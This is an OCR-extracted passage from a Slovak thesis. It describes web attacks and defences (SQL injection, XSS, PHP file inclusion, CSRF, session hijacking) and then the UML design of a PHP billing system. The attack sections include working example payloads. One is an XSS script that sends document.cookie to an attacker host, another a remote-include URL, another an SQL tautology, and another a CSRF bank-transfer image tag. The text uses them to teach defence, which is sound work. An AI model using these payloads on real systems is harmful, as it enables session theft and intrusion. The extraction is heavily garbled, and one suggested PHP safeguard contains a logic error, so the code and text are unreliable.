Injection v SQL, OS a LDAP podra [7] nastédva vtedy, ked’ sa neoverené data
Uto¢nika zadU ako stcast’ prikazu alebo dotazu k vykonaniu. Utoénik mdZze pomocou triku

prindtit’ prekladac k vykonaniu nechcenych prikazov alebo pristupu k neopréavnenym déatam.

Tento typ Utoku je nag¢astglSim Utokom slvisiacim s databdzami. Zaklada sa
najcastejSie na chybéch programétora a umoznuje vyuZit' zle oSetrené filtrovanie a kontrolu

dat na prelomenie autentifikacie.

Preto JE VELMI DOLEZITE, aby vaSe skripty podavali ¢o najmengj informécii o
Struktare vaSg databazy a tabuliek v pripade, Ze sa vyskytne nejaka chyba. Osvedceny
spbsob je volat’ vzdy v pripade nelispechu svoju funkciu, ktora zisti, ¢i mdze zobrazit
informéaciu o chybe (napriklad ked” ma klient 1P adresu 127.0.0.1, ¢o znamena, Ze spustite

aplikéciu na svojom pocitati) alebo nie.

3.2.1 Zasady ochrany

1. Pouzivat' filtrovanie vstupnych d& a Upravu vystupnych déa — iba pri kontrole
vstupnych a g vystupnych dét je bezpecnost’ spolahliva. PretoZe niekedy g korektné
daa mézu kolidovat s formdom SQL dotazov, pouZivajte pri ich Uprave

vystupnych funkcie podobné funkcii mysgl_real_escape string().

2. PouZivat' ivodzovky - Ak to databaza dovoluje, je potrebné davat’ do tvodzoviek
vSetky hodnoty SQL dotazov bez rozdielu ich typu.

3. Nepouzivat'’ funkcie, zabezpecujlce chybové hlasenia, pocas prevadzky aplikécie -

tieto vypisy mdzu pomoct’ uzivatel'ovi v Utoku na aplikaciu.

3.2.2 Priklad atoku

V prvom rade sa pokusime manipulovat’ s hodnotou premenng ID v parametri

adresy URL, napriklad mame na stranke tento odkaz:

http://ww. gi ga. sk/i ndex. php?acti on=adat | ap&t i pus=np3& d=168

To nie je ni¢ zvlédtne ale teraz skisime ako s script poradi ked” dostane prikaz or 1=1.
Tento prikaz by mal nacitat’ v3etky Udaje neciselné (neocakavané) parametre. Na tejto

adrese skUste zadat’ namiesto ¢ida apostrof, napriklad:


http://www.giga.sk/index.php?action=adatlap&tipus=mp3&id=168
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http://ww. gi ga. sk/ i ndex. php?acti on=adat | ap& i pus=np3& d="or'1'="1'

Ak tento upraveny prikaz funguje ni¢ nebrani Uto¢nikovi pouzit' tato slabost’ na
uplatnenie Specidlne uloZengj procediry v databédze, ¢o umoziuje kompletné prevzatie
databazy hostitel'a.

3.3 CROSSSITE SCRIPTING (XSS)

XSS aebo Cross-site scripting je podla[7] typ Utoku, kedy sa za pouZitia client-side
skriptov (JavaScript) pozmeni ¢ast’ kddu zobrazovanej webstranky tak, aby bol nebezpecny
skript Uto¢nika spustitel’ny a vykonal uréitt akciu, napriklad ziskal a ododa data z cookies
obete.

Uto¢nik tak po nahrati déat z cookies ktoré ziskal od obete, ¢asto ziska pristup do
aplikécie (webstréanky) bez toho aby pozna vaSe prihlasovacie Udaje. Je nevyhnutné
zabezpecit, aby vSetky uzivate’om dodavané vstupy podané spat’ do prehliadaca boli
overené ako bezpecné (cez vstupné validécie), a Ze vstup uzivatel'a je prevedeny do textu
pred tym, neZ je zahrnuty do vystupu stranky. Spravne vystupné kddovanie zabezpeduje, Ze
tieto Udagje si vZzdy povaZzované za text v prehliadaci, skor ako aktivny obsah, ktory by
mohol prehliada¢ dostat’ pozmeneny.

3.3.1 Typ OLocal (Lokélny)

Jedna sa 0 ngjzakladnegjSiu formu XSS a oznxtuje sa g ako DOM-based (zalozené
na objektovom modele dokumentu). Pri tgjto forme je kdd spusteny na strane klienta
(client-side), kedy sa vyuZiva ¢ast’ JavaScript kodu namiesto parametrav URL a za pomoci
JavaScriptu je stranka zmenend (infikovand) novym kédom stéle na strane klienta. Tento sa

vykona okamite po inicializacii prehliadaca obete.

3.3.2 Typ 1nestély (non-persistant)

Té&o forma XSS je as ngmeng nebezpetna a to z dbvodu, Ze Utoénik spolu s
nebezpecnym kodom musi pouZit’ g tzv. socia engineering (socialne inZinierstvo). Princip
spociva v tom, Ze sa vyuziva dynamicky generovany obsah na zéklade uzivatel'skej aktivity
(AJAX, AJAJ atd’.) spolu s predpokladom, Ze strénka neoSetruje data premenou HTML

kodu na entity, ale umoziuje priame zadanie kédu, ktoré je pri vygenerovani interpretované


http://www.giga.sk/index.php?action=adatlap&tipus=mp3&id

UTB ve Zliné, Fakulta aplikované informatiky, 2010 30

a vykonané uzivatel'ovym prehliadacom atakto umozni Gto¢nikovi pristup k citlivymi datam
ako sU napriklad Cookies alebo Sessions. Tento Gtok préve kvoli nutnosti pouZitia verkej
davky socia engineeringu nie je povaZzovany vacsinou vyvojarov za prilis nebezpecny, ¢o

ale mOZe viest’ v budicnosti k problémom.

3.3.3 Typ 2 galy (persistant)

Té&o forma umoznuje ngsilngsi typ Utoku (infikuje najvacSie mnozstvo obeti).
TaktieZ sa oznatuje ako HTML injection (infikovanie HTML). Pre tento typ Utoku sa
vyuZiva uschovanie nebezpecného kodu na strane serveru napriklad v databaze, pricom
vstup ani vystup nie je oSetrovany za pomoci premeny HTML kdédu na entity. NajbezngjSim
prikladom su tzv. guestbooky, kedy nie je vstup ani vystup chraneny proti HTML. Tato
metdéda sa povaZuje za najnebezpecneiSiu, pretoZze sa odhaduje pri jg pouZiti najvacsie
mnoZstvo obeti, pricom nebezpedny koéd staci pouzit len raz. Utoenik pre zber dét
nepotrebuje vlastni strénku, sta¢i mu vyuzit' napriklad logovanie do stiboru na infikovanom

serveri, email alebo int formu pre doc¢asné uloZenie vysedkov.

3.3.4 Zasady ochrany

1. Filtrovanie v3etkych cudzich da — Uginné filtrovanie v3etkych prichadzajlcich a
odchédzajucich dat pomaha predchadzat’ XSS atokom.

2. PouZivanie uz existujucich funkcii — Pri kontrole d& je vhodné pouzivat uz
existujuce PHP funkcie ako st htmlentities(), strip_tags() a utf8 decode(). Ak to nie
je Uplne nevyhnutné, je zbyto¢né vytvérat’ nové, alebo reprodukovat’ uz existujlce
funkcie.

3. Riadenie sa pristupom ,whitelist* — Vstupné déta treba povaZzovat’ za nespravne
pokial’ nie si uznané za sprévne.

4. Pouzivat prisne pravidla pre pomenovania - Pravidlav systéme vytvarania ndzvov su

vel'mi uzito¢né z hr'adiska rozliSovania overenych a neoverenych dét.

3.3.5 Priklad atoku

Té&o aplikécia vyuziva nedéveryhodné data bez zakomentovania alebo lomitok v
kontrukcii fragmentov HTML k Gtoku:
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(String) page += "<input nane='creditcard type=' TEXT val ue=""

+request . get Paranmeter ("CC') + "'>";

Utoénik zmodifikuje ‘CC’ parameter v prehliadagi na:

' ><scri pt >docunent . | ocati on=

"http://ww. attacker.coni cgi - bi n/cookie.cgi?

' %20+docunent . cooki e</ scri pt >

To spdsobi odosanie SESSION ID na Utoénikov web, ktory umoziiuje Gto¢nikovi prevziat’
a zneuZit' uzivatel'ovu aktudnu reléciu. Je potrebné s uvedomit’, Zze Gtocnici mézu vyuzit
XSS na odstavenie ochrannych mechanizmov proti CSRF ktoré aplikécia obsahuje. Viac
v ¢asti 0 CSRF utokoch.

3.4 PHPINJECTION

Pri tomto Gtoku sa podra [7] vyuziva chyba v PHP, ktora urahéuje tvorcom web
stranok préacu tym, Ze je vytvorena jedna stréanka (vasSinou index.php), do ktorg sa na
uréené miesto prikazom include() alebo funkciou require() vkladaju d'aSie stranky z toho
dévodu aby sa po nejakgl zmene v hlavicke nemuseli upravovat’ vSetky stranky webu.

Takyto zapis vyzera napriklad takto:

http://www.stranka.sk/index.php?page=novinky.php

Funkcia vlozi do stranky akykol'vek stibor, ktory zadame ako parameter URL adresy,
v tomto pripade je do ur¢eného miesta indexu vioZeny obsah stranky novinky.php.
Napadnutel’ny zapis funkcie include vyzera nasedovne:
<? include($page); ?>

Pokial’ by na servery stouto bezpecnostnou chybou nebezal safe mode, mohol by
utocnik ziskat’ nad strankou Uplna kontrolu. MéZe mazat’, editovat’, aebo pridavat’ dalSie

stbory, ¢o mbZe byt pre postihutt aplikaciu smrtel'né.

3.4.1 Zasady ochrany

Ochrana proti itokom typu PHP injection je nasledovna:

<?
swi tch ($page)


http://www.attacker.com/cgi-bin/cookie.cgi
http://www.stranka.sk/index.php?page=novinky.php
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{
case "news. php":
i ncl ude(" news. php");
br eak;
case "cl anok. php":
i ncl ude("cl anok. php");

br eak;
defaul t:

echo "error";
br eak;

}

?>

aebo
If ($page != "clanok. php" || "uvod. php")

echo "Na PHP Injekci ti neskocim:)";
} else { include($page);}

3.4.2 Priklad atoku

Ak by bola funkcia v zdrojovom kdde naprogramovana chybne, po zadani nasho

prikazu napriklad:

http://www.stranka.sk/index.php?page=http://www.aukro.sk

by sa ako obsah webstranky zobrazil obsah stranky aukro.sk. Na vyuZzitie tejto chyby sadaju
vyuzit' rézne funkcie php napriklad show_source(index.php) aktora by po nacitani stiboru
z obsahom tohto prikazu z dtoc¢nikove) adresy zobrazila zdrojovy kéd napadnute)
webstranky:

http://www.stranka.sk/index.php?page=http://hacker.wz.cz/script.txt

3.5 CROSSSTE REQUEST FORGERIES

CSRF je typ utoku na webovl aplikéciu aebo duzbu. Zkratka CSRF (Cross-Site
Request Forgery) znamend ,, podvrhnutie poZiadavky medzi roznymi strankami®. Niekedy sa
taktiez mbZzeme stretnit’ sd’alSimi terminmi ako XSRF, Cross-Site Reference Forgery,
Session Riding nebo Confused Deputy attacks.

Predstavme s situaciu, kedy nam atoénik vioZi do nasho formuléra nasledovny kod:

<ing src="http://ww. banka. sk/ subnit Tr ans/ ?acc=1556065556/ 0900
&ant =1000&conf =1" >



http://www.stranka.sk/index.php?page=http://www.aukro.sk
http://www.stranka.sk/index.php?page=http://hacker.wz.cz/script.txt
http://www.banka.sk/submitTrans/?acc
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URL je vloZena ako obrazku, ale v skuto¢nosti smuluje odoslany metédou GET.
Pokial’ by bankovy systém nepozadoval d’alSie overenie a potvrdenie operécia napriklad cez
SMS, mohlo by nasledovat’ skuto¢né odoslanie peniazi (v tomto pripade acc obsahuje ¢islo

U¢tu na prevod penazi, amt ¢iastku a conf=1 potvrdenie).

3.5.1 Zasady ochrany:

1. Pri zobrazeni formuldra uZivatelovi vygenerovat nédhodny koéd (ako
neviditel'né pole formuldra) a o¢akavat’ ho pri odosani. Tento kdd musi byt nahodny
a pre kazdého uzivatel'a iny. Nasledne pri ododani formuldra musime kod na serveri

skontrolovat’.

2. Platnost’” session udrZiavat’ v platnosti v ¢o nagjkratSom ¢ase. Ak je uZivatel

zo systému odhléseny, Ziadne takéto riziko nehrozi.

3.6 UTOKY NA AUTENTIFIKACIU A AUTORIZACIU

HTTP predstavuje protokol, ktory nie je schopny uréit’, ktorému z pouzivatel'ov patri
ur¢ita pozZiadavka. Preto bol vyvinuty mechanizmus manazmentu prislusnosti nazyvany g
cookies. Funkcie aplikéacii sivisiacich s autentifikéciou a spravou session ¢asto nie sl
naprogramované spravne, umoziuju tym atocnikovi ohrozit' bezpecnost' hesiel, kI'Gcov,
relécii alebo vyuZit' prevedenie chyby a prevziat’ identitu inych pouZivatel'ov. Na cookies
nadviazal g session manaZzment, ktory zachovéva prepojenie dét s jednotlivymi klientmi.

Cely systém je dost’ zranitel'ny, pretoZe prakticky neobsahuje bezpetnostné opatrenia[7].

3.6.1 Ochrana pred Brute Force atokmi

NajucinngiSou a ngj¢astejSou ochranou pred brute force Gtokmi je limitovanie poctu
nedispesnych pokusov o pristup k aplikécii. Nasleduje zamedzenie pristupu k aplikécii aZ do
odblokovania spravcom, alebo automaticky po uréitom ¢ase od posledného pokusu o
pristup. Mechanizmus je potrebné nastavit’ tak, aby prihlasenie neprebehlo ani v pripade, Ze
bude zadané spravne hedo. Implementéacia ochrany pred brute force Gtokmi je jednoduchd,
je de nevyhnutné dedovat’, aby jeho obmedzenia vyrazne nevplyvai na legitimnych

uZivatelov [10].
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3.6.2 Ochrana pred Password Sniffing ttokmi

Utok zalozeny na sledovani komunikécie medzi klientom aserverom sa nazyva
password sniffing. Ztoho vyplyva Ze G¢innou ochranou pred takymto Gdtokom je

pouZivanie SSL pri vzajomne komunikacii medzi klientom a serverom.

3.6.3 Ochrana pred opakovanymi ttokmi

Podobne ako predchadzajici Utok sa opakované Utoky zakladaju na sledovani
komunikécie legitimneho pouZivatel'a so serverom a snaZia sa 0 zmocnenie dat. Tieto mdzu

byt’ pouZzité pre ziskanie pristupu ku chranenym zdrojom.
Odporucania pre eliminovanie takto zameranych Utokov su nasledovné:
1. Nepouzivat’ data, ktoré zabezpeduju stdly pristup ku chranenym zdrojom.

2. Zamedzit’ odhaleniu dat, ktoré zabezpecuju pristup ku chranenym zdrojom.

3.6.4 Ochrana sessions a cookies

Ochrana proti krédezi cookies podlra [7] pozostava z kombinacie ochrany proti
utoku Cross-Site Scripting a vyhybanim sa prehliadacom, ktoré nie sii bezpecné. Pretoze
data v session ¢asto obsahuju sukromné informéacie a iné citlivé déta, je potrebné Ucinne
zabranit' ich odhaleniu. Aj ked” z dévodu ich uloZenia v databéze, alebo na serveri je
pravdepodobnost’ ich odhalenia minimélna, je pre vaéSiu bezpecnost’ vhodné pouzit SSL,
alebo zaSfrovat’ cely sesson pomocou unikatneho kluca. Sprava cookies zalezi na
prehliadaci. Ak obdrzal nejaké cookies, poSe ich web serveru spolu sHTTP poZiadavkou.
Nevyhoda cookies spociva v tom, Ze ich vel'a webou pouZiva k sedovaniu uZivatel’skych
¢innosti [10].

3.6.4.1 Session fixation a Session hijacking

Po prihlaseni pouzivatel'a na stranku server vygeneruje unikatny kod (oznacovany ako
SESSION_ID) sa nasledne ho pocas trvania sedenia pouZiva ako akési docasné hedo.
Server s ho priradi k ur¢itému pouzivatelovi a kazdého, kto mu tento identifikétor zadle,
povazuje za daného autentifikovaného pouzivatela a povoli mu pristup na jeho konto uz
bez d’alSieho overovania. Po odhlaseni je SESSION_ID na strane serveru vymazané (a teda

uZ viac nepouZzitel'né).
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Pri Gtoku Session fixation je obet’” oklamana Uto¢nikom a pouzije pozmeneny session
identifik&tor predloZeny Gtocnikom napriklad ak prinatime, aby obet’ klikla na odkaz:

htt p://yout ube. com ?wat ch=abcdef &SESSI D=43a46f c3103221a. ..

anédedne sa prihlésila, vel’mi jednoducho ziskame zranitel’nd autentifikovanu session.

Session hijacking spociva v zmocneni sa SESSION_ID uZ prihlaseného pouzivatel'a.
Kazdy, komu sa to podari, bude vystupovat’ ako dany pouZivatel’ ato bez nutnosti zadavat’
login alebo hedo. Pre pochopenie tohto Utoku je najskér potrebné porozumiet’ spdsobu,

akym sa prihlasovanie a ndsledné overovanie pouzivatel'ov na weboch vykonava.

3.6.5 Priklad utoku

Rezervécia leteniek podporuje prepisovanie URL, vkladanie session ID v URL :

http://exanpl e. com sal e/ sal ei t ens; j sessi oni d=
POOC2J DPXMDOQSNDLPSKHCIUN2JV?Dest = Havai i

1. Overenym uZivatel’ tychto stranok chce dat’ svojim priatel’om vediet’ o predaji. Ten
pode v eemaily vySSie uvedeny odkaz bez toho, aby vedel, Ze je tiez zahrnuty jeho
session ID. Ked jeho priatelia pouZiju odkaz, budl pouZivat’ jeho session atym g

jeho Gverové karty.

2. Aplikéacia nema sprévne nastaveny. UZivatel’ pouZiva vergjny pocitaé pre pristup k
webu. Namiesto vyberu "odhlasit™, uzivatel’ jednoducho zavrie okno prehliadaca a
odchédza. Utoénik pouzije rovnaky prehliadac o hodinu neskér a prehliadac je stéle
autentikovany.

3. Stranka nepouziva SSL / TLS pre komunikéciu v prevadzke. Uzivatel, ktory je
napojeny na internet cez bezdrétovl siet’ ju ma nepichnutl od suseda. Tym

vystavuje svoje uzivatel'ské meno, heslo a session ID.


http://youtube.com/?watch=abcdef&SESSID=43a46fc3103221a
http://example.com/sale/saleitems;jsessionid
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4 UML NAVRH APLIKACIE V ENTERPISE ARCHITECT

Pri kazdom névrhu aplikécie je dblezité ¢o ngpodrobngiSie vykonat' anayzu
poZiadaviek zékaznika na vyvijany systém. TaktieZ je odporuc¢ané pri vyvoji kazdého
vatSieho systému pouZzit’ nastroj na projektovanie a konstruovanie softvérovych systémov.

V teto praci budeme popisovat’ vytvorenie aplikécie dUzZiacel pre evidenciu
azasielanie faktar (billing). Ulohou tohto systému bude prijmat’ fakturainé déta z externych
aplikécii a evidovat’ informéciu o ich platbach. Vyvoj on-line fakturatného systému budeme
prezentovat’ spomocou programu Trial verzie programu Enterprise Architect ktory je

zaloZeny na ngjnovsg) UML 2.1 [3].

Pri ndvrhu sa zameriame na definiciu funkénych a nefunkénych poziadaviek, tvorbu
pripadov pouZitia, diagramu tried a sekvencného diagramu. Navrhnuty model bude pre
demonétréciu obsahovat’ analityckd ¢ast’ modelovania aplikécie, ¢o pre naSe Ucely plne

postacujuce.

4.1 HDADAME FUNKCNE A NEFUNKCNE POZIADAVKY

Je mozné vymedzit' skupinu funkénych poZiadaviek, ktoré si spolo¢né pre takmer
v&etky pokrocilgjSie webové aplikécie. Ich podpora v pouZivanych programovacich
jazykoch ae ¢asto nativne neexistuje, alebo je len ¢iastoéna alebo nedostatocnd. Potrebné
funkcie s musi autor doprogramovat’ sam. NaStastie pre drvivd vadnu takych udloh
existuju uz hotové kniznice, ktoré byvaju g volne k dispozicii. Ucelengjsi stbor takychto
kniZnic, poskytujuce komplexnu funkcionalitu potrebnt pre vyvoj webovej aplikécie tvoria

framework.

Kazda analyza by mala zacinat’ ngidenim funkénych a nefunkénych poZiadaviek. Pre
ngdenie poZiadaviek je potrebné komunikovat' so zadavatelom projektu a Fud'mi ktory

budd dany systém pouZivat'.

4.1.1 Funkéné poziadavky
Medzi funkéné poZiadavky fakturacného systému budua patrit’:

1. Tvorbafaktur
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Ocenenie

Prehl’ad faktar

Kontrola d&tumu

| formécie o platnosti produktu
Deaktivacia U¢tu

Zber dat

Zasielanie faktur

© N o a b~ WD

4.1.2 Nefunkéné poZziadavky
Medzi nefunk¢éné poZiadavky fakturacného systému budl patrit’:

Systém bude programovany v jazyku PHP
Systém musi spolupracovat’ s MySQL databazou
Systém bude vyuzivat’ AJAX

Systém bude vyuZivat’ JavaScript

Systém musi byt’ rychly a spol'ahlivy

Systém musi byt” dostupny on-line

Systém mé dodrZovat’ Standardy W3C

Systém ma vytvérat’ pravidelné zalohy

@ N o g s~ w D PE

aPoolx External Application

?

Delete Delete Billing
account

Update o
Change Billing

account

Action in billing

Create Billing
acoount

@]

Obr. 8. Business proces model billing aplikécie
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4.2 PRIPAD POUZITIA

Na za&klade ziskanych poZiadaviek je potrebné navrhnit pripady pouZitia pre dany
systém. Pre fakturacny systém sme definovali pripad pouZitia popisujlci proces vytvorenia
faktary. SOc¢astou pripadu pouzitia je definovany scenar, ktory presne popisuje danu
situéciu. Pre ilustréciu vyberame scenar pripadu vytvorenia faktary (tbl. 2) a kontroly
platnosti faktary (tbl. 3). Priklad diagamu pripadu pouZitia je mozné vidiet' v prilohe P 1.

Tab. ¢.2. Scenar vytvorenia faktlry
Pripad pouZitia: Tvorba faktar

Aktéri: Webservice externgl aplikacie
Vstupné podmienky:

1. odoslana poZiadavka externg aplikacie

1. Billing systém prijme spravu od externej aplikécie v podobe web servisu.

2. Systém rozparuje prijaty stbor a na zéklade akcie vytvori, zmeni alebo zmaze hilling
Gcet

3. Systém kontroluje ICO a na jeho z&klade zorad'uje billing Gcty.

Tab. ¢.3. Scenar kontroly platnosti faktdr
Pripad pouZitia: Kontrola platnosti faktur
Aktéri: Administrétor
Vstupné podmienky:

1. existujuca faktura

Administrétor kontroluje platby
AK faktara nebola zaplatena
Administrétor deaktivuje dany Gcet
EXTEND Deaktivéacia i¢tu

INAK AK faktara bola zaplatend a Ucet je v rieSeni

© o » 0w N P

Administrétor reaktivuje dany Gcet
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4.3 Diagram tried

Po GspeSnom vytvoreni pripadov pouZitia, mézeme zacat’ s analityckym navrhom
diagramu tried. Spravny navrh tried je vel'mi délezity. V aplikéacii fakturatného systému sme

navrhli nasledujlce triedy ktore st taktiez graficky znédzornené na obrézku ¢.9.

Auth
Sales manager
Customer

Adress

Invoice
M essage manager
Invoiceitem
SalesManager Auth
+ il: var
IR _ 1| * legind) : void
+ sendMail{) : void R aa ) - void
1
Customer
+ customerlD: wvar
+ firsthame: war
Address + lastName: wvar
— + companyMame: var
e 5"5“'”"5 o e MessageManager
+ streetMo: var S
e one ber var
+ town: wvar : tEl‘F?:-'“"‘N”m“" Vel + messagelDl: war
email: var
+ C. VvEr
+ zunt'y: war -k c?n.tscz.ﬂldd'ess: Address N + receiveMessage) : void
+ billingAddress: Address |1.. - e We=ap=(] - void
0:
+ _ setl): void A p—" + preparehlessagel) : void
+ __ get{): woid g _Z?t‘:'-.':::id + processMessage) : void
: zd:;tid.r:?i;;ﬁlimd + ;:I Clrstnmer: ) : void 1
E e ek + updateCustomer() : void
+ stopCustomer() : void
+ searchCustomers() : void
+ isCreated{) : void

1
T

iy Invoiceltern
Invoice + inwvoicelD: var
+ billingPericd: wvar
+ invoicelD: var + from_date: war
+ price: var + to_date: var
+ invoiceDate: var + nextBilling: wvar
+ invoiceMaturity: war - application|D: wvar
1 {
_setf): woid __setf) : void
__get{) : void __get() : void

additem) : void
updateltemn{) : void
stopltem{) : void
countDifference() : void
setMexdtBilling() : void

+
+

+ sendReminder{) : void
+ oreatelnwvoice() : void
+ sendlnvoice) : void

L T

Obr. 9. Kompletny poh/ad na diagram tried
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Kazdy manager ktory s otvori stranku fakturaéného systému v prehliadaci je
systémom overeny triedou Auth. Jg dcérska trieda SalesManager ma na starosti evidenciu

managerov a mdzeme ich vidiet’ v detaile na obrazku ¢.10.

SalesManager Auth

+ mail: wvar

+ login} : veid
+ logout]) : void

+ sendMail{) : void

1

Obr. 10. Trieda Auth a SalesManager

Trieda SalesManager spravuje produktovych managerov ajg vztah k jednotlivym
z&kaznikom v systéme. Vzt'ah striedou Customer ndm hovori, Ze jeden manager mbze byt’

priradeny k viacerym z&kaznikom.

Trieda Customer d0Zi na evidenciu zakaznikov ajg vzt'ah striedou Adress nam
hovori, Ze jeden zékaznik mdZe mat’ priradené viaceré adresy sic¢asne ato fakturatn a
kontaktnu. Vzt'ah striedou Invoice nam d’alej hovori, Ze jednen zékaznik moze mat’ viacero

faktur, tento vzt'ah mozeme vidiet’ na obrazku ¢.11.

Customer
+ customerlD: war
+ firstMame: war
Address + lastMame: var
i + companyMame: wvar
* street. va A MessagelManager
ico: va
+ streetMo: war I. - o
+ town: wvar i tEEE _“'TE umoer v + messagelD: var
+ psc var +  email: ::d —
— - (PR ress re x . =
+ country: wvar ; :‘.'IT.HC:H e “:I::I e ] 1 [ receivellessage() : void
3 . —ri = ) ;
Sl eSS + sendMessage() : void
+ _ seff): void - + preparellessage() : void
R + setf) : void e
+ _ getf): void - o Ay 7 + processhlessage() | void
+ =ddAddress() : void L
+ updateAddress() : void gddCustomer) : void . 1
+ updateCustomer() : void
+ stopCustomer() : void
+ searchCustomers() : void
+ isCreated() : void

| 1

Obr. 11. Trieda Adress, Customer a MessageManager
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Trieda MessageManager ma na starosti spracovanie sprév externych systémov ktoré
odosielagju web service obsahujlci Udaje zakaznika, ndzov aplikécie, ndzov produktu, cenu,
datum vytvorenia, dd&um do kedy je produkt fakturovany, typ operécie (vytvorenie,
zmenenie aebo zmazanie). Trieda MessageManager prijme web service a vykona akciu na
z&klade poZiadavky. Pri deaktivacii Uctu systém odode zakaznikovi mail s upomienkou a
nastavi dany Gcet tak aby sa automaticky odstrénil po 10 dioch. Systém prezrie vSetky
vystavené faktury atie ktoré sa nemgju fakturovat’ oznaci ako neaktivne.

Trieda Invoice prijme rozparsovani spravu z externg aplikécie na zaklade akcie
vytvori, zmeni alebo zmaze faktiru. Systém kontroluje ICO a na jeho zéklade zorad'uje
billing Gcty.

)il

i [ Inveoiceltemn

invoicelD: var
billingPericd: war
from_date: wvar
to_date: var
nextBilling: wvar
application|D: war

Invoice

invoicelD: war
price: war
invoicelate: wvar
invoiceMaturity: wvar

A
Vo ok ok ok

_ set) : void

__get{) : void
sendReminder) : void
oreatelnvoice() : void
sendlnvoice() : void

_setf) : void

__get{) : void
additern() : void
updateltemn{) : void
stopltemny) : void
countDifference() : void
setMextBilling{) : void

+ + 4+ 4+

O

Obr. 12. Trieda Invoice a Invoiceltem

Administrdtor ma moznost’ prezerat’ faktlry, zorad’ovat’ a triedit’ faktary podla
datumu, aplikécie alebo ceny pomocou triedy Invoiceltem. Taktiez umoziuje tlagit’ faktlry

amoznost’ manuélne ododlat’ faktiru v PDF forméate e-mailom vybratym zékaznikom.

Vzorovu fakturu je mozné vidiet' v prilohe P V.
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4.4 Sekvenény diagram

Sekvencny diagram mbzeme tieZz nazvat' redlizaciou projektu. Realizacia projektu
fakturatného systému zahina Zivotny cyklus aplikécie. Vyhodou Enterprise Architekt
a podobnych programov ktorymi je mozné navrhovat’ UML diagramy je g spétna kontrola
navrhu sekvencného diagramu. Program umoziuje vyber metddy triedy ktoreg pripisujeme

akciu. Vizudne s teda mdZeme otestovat’ ndS navrh a skontrolovat’ ¢i je logicky spravny.

Pri rieSeni fakturatnom systéme boli vytvorené readlizacie automatického hillingu,
prijatie spravy a sekvencie pre grafické pouZivatel'ské rozhranie GUI. Natychto diagramoch
je zachyteni Zivotny cyklus programu pre daného zékaznika. Pri sekvenc¢nom diagrame

automatického hillingu méZeme vidiet’ Ze v ramci programu pristupuje k triedam:
1. Invoiceitem
2. Invoice

Sekvencény diagram je mozné vidiet v prilohe P I1.

Prijatie spravy pristupuje k tymto triedam:
1. MessageManager
2. Customer
3. Adress
4. Invoiceitem
5. Invoice
6. SalesManager

Sekvencny diagram je mozné vidiet' v prilohe P I11.

GUI pristupuje k tymto triedam:
1. Customer
2. Adress

3. Invoiceitem
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4. |nvoice
5. MessageManager

Sekvencény diagram je mozné vidiet v prilohe P IV.

45 Navrh databazového modelu

Pre aplikéciu fakturacného systému bolo potrebné navrhnit’ vhodny databézovy model.
Databazovy model uchovéava informacie o zékaznikoch ktori vyuZivaju nejaki externd
aplikéciu. Této aplikécia nasedne prijma spravy tychto externych aplikécii vo formate XML
avklada ich udaje do systému. Kazdy customer méze mat’ dve adresy, jednu faktura¢nl a
jednu kontaktnl. Pristup do administratného rozhrania maju sales manageri ktory maju
pravo menit’ fakturaéné Udaje zékaznika a pristupovat’ k evidencii v3etkych faktar. Taktiez

jeim umoZnené uddlit’ zZl'avu k evidovanegj fakture.

customers B address B
|
i E xoolumns «oolumns
«oolumnz *PK customerlD: INTEGER “PK addressiD: INTEGER
firstName: \

*PK managesiD: INTEGER
lastMame: \

firsthame ]

lastia ) __E'EHEE__}, companyMame: 'R

email ico: INTEGER il

password: VARCHAR(100) telephoneNumber: INTEGER
email: VARCHAR{100}

«PKa

+ PH_AdministratorINTEGER) aPka

+ PK_Customers{INTEGER) «PKx

+  PK_Address(INTEGER)

invoices D

message_gqueue D

«columns

“PK invoicelD: INTEGER

woolumns

*PK. messagelD: INTEGER
message: TEXT
oeated_date: DATETIME
status: INTEGER

status: VARCHAR{20)
variableSymbol: INTEGER &P
+ PHK_message_ gueue{INTEGER)

«PHa
+  PH_Invoices{INTEGER)

invoice_items D
«columns
*PK invoicelteml|D: INTEGER action_price D
P e abion D externallD: INTEGER
i e: VARCHAR(100) soolumns
Sy “Fi actionlD: INTEGER
= - r— e cumency: VARCHAR(S) *  actionFrice: INTEGER
Fi applicstionlD: INTEGER
e . L *  billingPericd: INTEGER || cumency: VARCHAR(S)
connedtor: VARCHARISD) Il from_date: DATE 1l *  from_date: DATE
. to_date: DATE to_date: DATE
3 sum: DOUBLE *  invoiceltemID: INTEGER
«PHa s *  invoicelD: INTEGER
+  PK_Application({INTEGER) *  applicationID: INTEGER «PKs
srits MTEESE +  PK_ActionFrice(INTEGER)
«PKa

+  PH_Invoiceltems{INTEGER)

Obr. 13. Databézovy diagram
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5 IMPLEMENTACIA NAVRHU V JAZYKU PHP

Po ukonceni analyzy systému mbzeme pristUpit Kk jg implementécii. Systém je
rozdeleny na hlavni ¢ast’ ku ktorgj pristupuju zékaznici a administrativnu ¢ast’ ktora Uz

administrétorovi na editaciu potrebnych nastaveni.

51 FRAMEWORK

Co sa tyka jazyka PHP, vzniklo podas ¢asu vela roznych frameworkov, ktoré
poskytuju vlastné Controller a mnoZinu rozSirujucich funkcii atakmer vSetky st postavené
na MVC architektre. LiSa sa od seba mierou vyuZitia objektovo orientovaného
programovania, rozsahom poskytovanych funkcii apod. V tejto sividosti sa tieZ ¢asto
hovori o projektoch PHP Base Library a nggmé PEAR. Tie vS&ak nemoZno povaZovat’ za
previazané frameworky, ae len za repository jednotlivych kniznic, ktorych triedy mozno v

aplik&cii pripadne pouZzit’ vo funkcii Modelu [6].

My sme sa rozhodli pouZit' pri implementécii ndvrhu kniZznicu pre vyvoj aplikécii
PHP Zend Framework. Obsahuje mnozstvo komponentov ktoré umoziuju vyvijat® PHP
aplikécie I'ahSe s udrzatelngiSim kédom pre budlce Upravy a vylepSenia. Vyber tohto

frameworku pomohli rozhodnut’ tieto vlastnosti:
Rozsiahla dokumentécia’®
Rozsiahla komunita

V&tko v jednom, vSetky Zend obsahuje v3etko ¢o pri vyvoji budete
potrebovat

Jednoduchost’ vyvoja

Umozni rychly vyvoj aplikécii

% zendframework.com. Dokumentécia Zend Framework [online]. c2010 [cit. 2010-04-03]. Dostupny z
WWW: < http://zendframework.com/manual >.
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5.1.1 Adresarova &ruktira

Zend Framework neprikazuje presni adresarovd Struktiru, manud vSak odporica
vyuZivat' v3eobecne doporucenu Struktaru. Téo Sruktira predpoklada, Ze méte plnd
kontrolu nad konfiguréciou web servera, napriek tomu s Zivot trocha sprijemnime a toto
odporucenie mierne modifikujeme:

/application
/configs
[controllers
[fonts
[forms
/models
views

/helpers

Iscripts
llibrary
/zend

/public
/cron

/css
/images

